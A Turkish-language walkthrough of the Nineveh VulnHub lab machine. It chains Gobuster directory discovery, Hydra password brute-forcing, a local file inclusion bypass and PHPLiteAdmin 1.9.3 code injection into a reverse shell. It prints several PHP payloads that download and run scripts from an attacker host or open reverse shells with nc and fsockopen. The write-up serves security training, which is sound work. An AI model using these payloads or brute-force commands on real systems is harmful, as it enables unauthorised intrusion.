Yazıda kullanılan Nineveh sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/nineveh-v03,222/
TCP/80 ve TCP/443 portlarından hizmet verilmektedir.
nmap -Pn -n –reason 10.100.50.137 -p443,80 -sV
Bu iki servis birbirinden farklı şekilde hizmet vermektedir.
http://10.100.50.137
https://10.100.50.137
HTTP olan servisteki bir dizinde oturum açıldıktan sonra yerel dosya dahil etme (Local File Inclusion – LFI) zafiyeti, HTTPS servisindeki bir dizinde de oturum açıldıktan sonra kod enjeksiyonu (Remote PHP Code Injection) zafiyeti bulunan PHPLiteAdmin v1.9 uygulamasının kullanıldığı görülecektir.
PhpMyAdmin uygulaması, PHP uygulamalarının Mysql veritabanı ile ilişkisini yönetir. PhpLiteAdmin uygulaması da, PHP uygulamalarının Sqlite veritabanı ile ilişkisini yönetir. Nineveh sanal makinesinde kurulu olan PHPLiteAdmin v1.9 üzerindeki kod enjeksiyonu (Remote PHP Code Injection) zafiyeti, yerel dosya dahil etme (LFI) zafiyeti kullanılarak istismar edilmektedir. PhpLiteAdmin v1.9.3 sürümündeki zafiyerin istismar adımları aşağıdaki gibidir.
- HTTP servisinde çalışan uygulamanın “/department” dizini ve HTTPS servisinde çalışan uygulamanın “/db” dizini keşfedilecektir. Bu amaçla Gobuster aracı kullanılacaktır.
- HTTP servisinde çalışan uygulamanın oturum bilgileri “admin / 1q2w3e4r5t” ve HTTPS servisinde çalışan PHPLiteAdmin uygulamasının parola bilgisi de “password123” olarak tespit edilecektir. Bu amaçla Hydra aracı kullanılacaktır.
- HTTP servisinde oturum açıldıktan sonra, bu serviste çalışan uygulamadaki LFI zafiyeti tespit edilecek ve uygulama kullanıcısının yetkisi dahilinde konumu bilinen dosyaların okunabildiği görülecektir.
1) Gobuster ile Dizinlerin Keşfi: HTTP ve HTTPS
Gobuster kurulu değil ise, kurulumu gerçekleştirilir.
apt-get install gobuster
Benzer olarak Github üzerinden de indirilebilir.
https://github.com/OJ/gobuster
Gobuster aracı ile HTTP servisinde hizmet veren uygulamada kimlik doğrulamasız dizin keşfi aşağıdaki gibidir.
gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.100.50.137 -s ‘200,204,301,302,307,403,500’ -e -r -t 5 -o sonuc-http
cat sonuc-http
Not: Nineveh sanal makinesinin web uygulama yapılandırması incelendiğinde uygulamanın “/var/www/html” altında hizmet verdiği görülmektedir.
cd /etc/apache2/sites-enabled
ls
cat 000-default.conf | grep -v “# ”
ls /var/www/html
ls /var/www/html/department
Gelen sayfa içeriğinde kimlik bilgileri isteyen bir ekran ile karşılaşılmaktadır.
http://10.100.50.137/department/login.php
Gobuster aracı ile HTTPS servisinde hizmet veren uygulamada kimlik doğrulamasız dizin keşfi aşağıdaki gibidir.
gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.100.50.137 -s ‘200,204,301,302,307,403,500’ -e -r -t 5 -o sonuc-https -o sonuc-https -k
Not: Nineveh sanal makinesinin web uygulama yapılandırması incelendiğinde uygulamanın “/var/www/ssl” altında hizmet verdiği görülmektedir.
cd /etc/apache2/sites-enabled
ls
cat default-ssl.conf | grep -v “# ”
ls /var/www/ssl
ls /var/www/ssl/db
Gelen sayfa içeriğinde PHPLiteAdmin v1.9 uygulaması ile karşılaşılmaktadır.
https://10.100.50.137/db/
PHPLiteAdmin v1.9 uygulamasında “PHPLiteAdmin 1.9.3 – Remote PHP Code Injection” isimli PHP kod enjeksiyonu zafiyeti bulunmaktadır.
searchsploit phpliteadmin 1.9
cat /usr/share/exploitdb/exploits/php/webapps/24044.txt | grep -v “# “
Bu zafiyeti istismar etmek için aşağıdaki adımları izlemek gerekmektedir.
- Uygulama üzerinde veritabanı oluşturabilecek bir kullanıcı ile oturum açılmalıdır. Bu amaçla Hydra ile “password123” parolası elde edilecektir.
- Oluşturulan veritabanının adı “.php” uzantısı ile kaydedilir.
- Oluşturulan yeni veritabanında yeni bir tablo oluşturulur.
- Oluşturulan yeni tablo içerisine PHP ifadesi TEXT veriyapısında olacak şekilde kaydedilir.
- Böylece, hazırlanan PHP dosyası (veritabanı) çağırıldığında PHP ifadesi çalışmış olur. PHP dosyasını çağırmak için de bu sanal makinedeki yerel dosya dahil etme (LFI) zafiyeti istismar edilecektir.
2) Hydra ile Kimlik Bilgilerinin Keşfi: HTTP ve HTTPS
HTTP servisinde hizmet veren sayfa üzerindeki oturum bilgileri istenmektedir. “deneme” gibi bir kullanıcı adı ile oturum açılmaya çalışıldığında “invalid username” hatası alınmaktadır.
http://10.100.50.137/department/login.php
Bunun yanında, “admin” gibi (mevcutta olma ihtimali yüksek olan) bir kullanıcı adı ile deneme yapılmaya çalışıldığında ise, “Invalid Password!” gibi bir hata mesajı dönülmektedir.
Hata mesajları arasındaki bu fark sebebi ile “admin” kullanıcısına ait parolanın tespiti için kaba kuvvet saldırısı uygulanabilir. Bu amaçla “hydra” aracı “/usr/share/wordlists/sqlmap.txt” gibi bir sözlük ile kullanılabilir.
hydra 10.100.50.137 -l admin -P /usr/share/wordlists/sqlmap.txt http-post-form “/department/login.php:username=^USER^&password=^PASS^:Invalid Password!” -t 64
Sonuç olarak HTTP servisindeki uygulama (“/department/login.php“) üzerinde “admin” kullanıcı adı “1q2w3e4r5t” parolası ile oturum açılabilmektedir.
http://10.100.50.137/department/manage.php
HTTPS servisinde hizmet veren PHPLiteAdmin v1.9 üzerinde oturum açmak için parola bilgisi istenmektedir.
https://10.100.50.137/db/
Parolanın tespiti için kaba kuvvet saldırısı uygulanabilir. Bu amaçla “hydra” aracı “/usr/share/wordlists/dirb/others/best1050.txt” gibi bir sözlük ile kullanılabilir.
hydra 10.100.50.137 -l HerhangiBirKullaniciAdi -P /usr/share/wordlists/dirb/others/best1050.txt https-post-form “/db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.” -t 64 -s 443
Sonuç olarak HTTPS servisindeki uygulama (“/db“) üzerinde “password123” parolası ile oturum açılabilmektedir.
https://10.100.50.137/db/index.php
3) LFI Zafiyetinin İstismarı: HTTP
HTTP servisinde hizmet veren uygulamada “info.php” sayfası incelendiğinde “allow_url_include” özelliğinin etkin olduğu görülmektedir.
http://10.100.50.137/info.php
HTTP servisinde hizmet veren sayfa üzerinde oturum açıldıktan sonra “Notes” bağlantısına gidildiğinde, yerel dosya dahil etme zafiyetine sebep olacak olan “notes” parametresi ile “./files/ninevehNotes.txt” adlı dosya içeriği ekrana basılmaktadır.
http://10.100.50.137/department/manage.php?notes=files/ninevehNotes.txt
Not: Kaynak kod incelendiğinde “notes” parametresi için uzunluk ve içerik kontrolü bulunduğu görülmektedir. “notes” parametresinin aldığı değer 55 karakterden uzun olduğunda “File name too long.” hata mesajı, “notes” parametresinin aldığı değer “ninevehNotes” ifadesi içermediğinde “No Note is selected.” hata mesajı ile bu kontroller sağlanmaktadır.
ls
head -35 manage.php | tail -15
ls files
cat files/ninevehNotes.txt
Standart yerel dosya dahil etme zafiyetine karşı istismar denemesinde “ninevehNotes” ifadesi bulunmadığı için “No Note is selected.” hata mesajı ile karşılaşılmaktadır.
http://10.100.50.137/department/manage.php?notes=../../../../../etc/passwd
“ninevehNotes” ifadesi olacak şekilde yerel dosya dahil etme (LFI) istismarı denendiğinde ise, hedef sanal makinede yüklü olan ve yeri bilinen dosya içeriği hata mesajı ile karşılaşılmadan okunabilmektedir..
http://10.100.50.137/department/manage.php?notes=/files/ninevehNotes.txt/../../../../../etc/passwd
Bu zafiyetin sabebi yeterli girdi kontrollerinin yapılmadan “manage.php” dosyasında “include($file);” fonksiyonunun doğrudan kullanılmasıdır. Böylece kendisine verilen dosya PHP ifadeleriymiş gibi Apache tarafından yorumlanacaktır.
cat manage.php -n | head -35 | tail -15
4) PHPLiteAdmin v1.9 Uygulamasındaki PHP Kod Enjeksiyonu Zafiyetinin İstismarı: HTTPS
HTTPS servisinde hizmet veren sayfa üzerinde oturum açıldıktan sonra, PHPLiteAdmin v1.9 uygulamasındaki PHP kod enjeksiyonu zafiyetinin istismarı için yeni bir veritabanının adı “php” uzantılı olacak şekilde oluşturulur. Oluşturulan YeniVT.php adlı veritabanının “/var/tmp” dizini altına kaydedildiği görülmektedir.
Not: Veritabanının “YeniVT.sql” olarak isimlendirilmesinin sebebi “manage.php” dosyasındaki 55 karakter limitidir.. Daha uzun bir isim verilmesi durumunda yerel dosya dahil etme (LFI) zafiyetinin bu örnek için çalışmama durumu olabilir.
Oluşturulan yeni veritabanı içerisine, yeni bir tablo oluşturulur.
Oluşturulan yeni tablo içerisine, TEXT veri tipinde bir PHP ifadesi girilir.
Böylece “YeniVT.php” adlı veritabanı, “YeniTablo” adlı tablo, “YeniKolon” adlı alan” oluşturulmuş ve içerisine bir PHP ifadesi eklenmiştir.
Eklenebilecek PHP ifadeleri aşağıdaki gibidir.
1 2 3 4 5 6 7 |
<?php system("wget -O /tmp/Zararli.pl http://10.100.50.138:9999/betik.pl; chmod +x /tmp/Zararli.pl; perl /tmp/Zararli.pl"); ?> <?php $sock=fsockopen("10.100.50.138",13579);exec("/bin/sh -i <&3 >&3 2>&3");?> <?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.100.50.138 13579 >/tmp/f"); ?> <?php system("cd /tmp; wget http://10.100.50.138:1234/ZararliSayfa.php; chmod +x ZararliSayfa.php; php ZararliSayfa.php"); ?> |
Not: Sanal makinenin “/var/tmp” dizininde SQLite formatındaki “YeniVT.php” dosyası görülebilir.
cd /var/tmp
ls
strings YeniVT.php
Disk sistemine yüklenen PHP dosyası çağırıldığında, öncelikle “betik.pl” adlı bir Perl betiği (/usr/share/webshells/perl/perl-reverse-shell.pl) indirecektir.
ls /usr/share/webshells/perl/
cp /usr/share/webshells/perl/perl-reverse-shell.pl betik.pl
nano betik.pl
grep “Change these” -A3 betik.pl
Bu betiği sunucudan sanal makineye indirmek için bir web servis (SimpleHTTPServer) başlatılır. Bu dosya “/tmp/” dizini altına “Zararli.pl” adı ile kaydedildikten sonra da ters bağlantı oluşturacaktır. Ters bağlantıyı yakalayacak olan dinleyici de başlatılır.
python -m SimpleHTTPServer 9999
nc -nlvp 13579
Daha önceden tespit edilen LFI zafiyeti ile “/var/tmp” dizini altına kaydedilen “YeniVT.php” dosyası çağırıldığında ters bağlantı elde edilmiş olur.
http://10.100.50.137/department/manage.php?notes=/files/ninevehNotes.txt/../../../../var/tmp/YeniVT.php
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- Zico2: 1: https://www.vulnhub.com/entry/zico2-1,210/
Kaynaklar:
https://www.youtube.com/watch?v=K9DKULxSBK4
https://forum.hackthebox.eu/discussion/300/nineveh-write-up-by-alamot
http://syrion.me/blog/htb-nineveh/
https://v3ded.github.io/ctf/htb-nineveh.html
https://roguesecurity.in/2017/12/16/hack-the-box-nineveh-writeup/